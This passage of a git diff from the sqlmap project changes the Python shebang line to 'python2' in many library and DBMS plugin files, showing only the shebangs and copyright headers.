(http://sqlmap.org/) diff --git a/lib/core/update.py b/lib/core/update.py index 154452e2515..aef8ffec7bc 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 373d1007969..2ae1c71b0a4 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 77ae798f67e..8bc9f9ee0aa 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 12478af23e3..1d29ce4dd65 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 4095c1dcc1c..fc5b332d751 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/handler.py b/lib/parse/handler.py index ed03812bbe2..df63cecdb86 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/headers.py b/lib/parse/headers.py index b348f25b230..2eb81973fb3 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/html.py b/lib/parse/html.py index 3ec61d52fed..98cefae69f5 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 3d500987813..46612d5b86d 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index a9b95890ef4..1ac1d9799d7 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/__init__.py b/lib/request/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/basic.py b/lib/request/basic.py index bbc0400af79..8c36d1a0dce 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index e686226526f..0758f0fe899 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 72ed932c7af..54d2f9aa999 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index ef0a6f11dcf..9b8a9cfae3e 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/connect.py b/lib/request/connect.py index c07b1bd023b..3de5e700ecc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/direct.py b/lib/request/direct.py index 3a0dea4ebab..a85c5bd4652 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/dns.py b/lib/request/dns.py index 950248fe320..2cff361f696 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index c75d2f6e9c8..294f4ec79e3 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/inject.py b/lib/request/inject.py index f5fcde3c635..293fdf29068 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index e07f4765fa9..2568f94eb62 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 8e66409c8a2..612a452ea62 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 0f62c4da619..2ab8fccfb35 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 60c3af1ce7b..074832b065d 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/request/templates.py b/lib/request/templates.py index 6f8f155e02b..23138cf7e4c 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 349df3e24e6..42ec1070431 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 4be69f4685d..2fcfc0ae0fa 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 04fb88a9bc1..7a50b1c6d0e 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 5b83526c006..9314f266f9f 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index e5f7c9e5049..afb05c37ffe 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 24d2f0d38cb..457b3a5f1ba 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index d4db1a6b59a..61e9dbfdac9 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 46da3e6abfe..741abf4535c 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 361a3b088f0..3c9d4b3a369 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index ae717aae5c1..e4a2dc470c7 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 5ffcff3d8a5..62b38c713e9 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 6dfcafdc8d8..f5c2d314e2d 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index f4b0fa30e29..234e3eeab67 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/api.py b/lib/utils/api.py index 4ea74904a63..69cb3c05d57 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ diff --git a/lib/utils/brute.py b/lib/utils/brute.py index ff4e7c17b54..84a79f65725 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 12d29522ac7..e4414b95963 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 265c0eb87fd..15c9a9e5dc6 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 733fdf57078..4b4dcf9b027 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/har.py b/lib/utils/har.py index 252da45d179..241b17eafff 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index ded67af3b8d..21dc6b9651b 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 8cbee817056..a51226a7867 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/htmlentities.py b/lib/utils/htmlentities.py index a97320ec098..e378e941807 100644 --- a/lib/utils/htmlentities.py +++ b/lib/utils/htmlentities.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index a60a4175440..07cf5b8eec5 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/progress.py b/lib/utils/progress.py index e9a81847e13..dc9ade2287a 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 248ad0ce804..d716c284963 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/search.py b/lib/utils/search.py index 9b171b4b526..6ec5c04cae7 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 0752ccdd893..6e6c9961bd6 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 4f661769f06..02a2f20ecd1 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index e9e49a5f007..0e75e4681ec 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 119c2a39c22..125c8ec07b3 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/__init__.py b/plugins/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 3529701b07d..f909970ea4c 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index e2d640a5dcf..8a3839807ba 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 22276102448..bffb73d8156 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 7d0006c8d4f..873785fa51d 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 339edba51ca..a8544ecdfab 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index f6cd030efd8..4866d344cfe 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index e12c4d9adb0..837fe3be251 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 6bf0091cf6a..c79259c4320 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index fc6051de1f6..63b7fca09c6 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index 129ef027896..b73b2168ed4 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 4f0d86be78e..deb2cf33a10 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index dd6e34af9b9..09fc030ff38 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index c0aacd60fd8..39e974f640d 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index ca204b03495..ea1682c1f59 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index f35a4070ecd..89d86cf507b 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 2b5e378e318..260e8655bd2 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 406347a5e31..a956d963af1 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 2ccf0cb8c79..e8e46b33114 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 40ac7580cec..9214190bdd4 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 7c91e79cf6f..f7f77685cbd 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 9864414702e..4dc49a27c36 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index b38b098dd12..f417c6b6d98 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 54e332c773f..9ab33eb73ea 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index 58e9ec71636..946e1ca0da8 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index cfbcee27cd5..e7e0c4d7794 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright 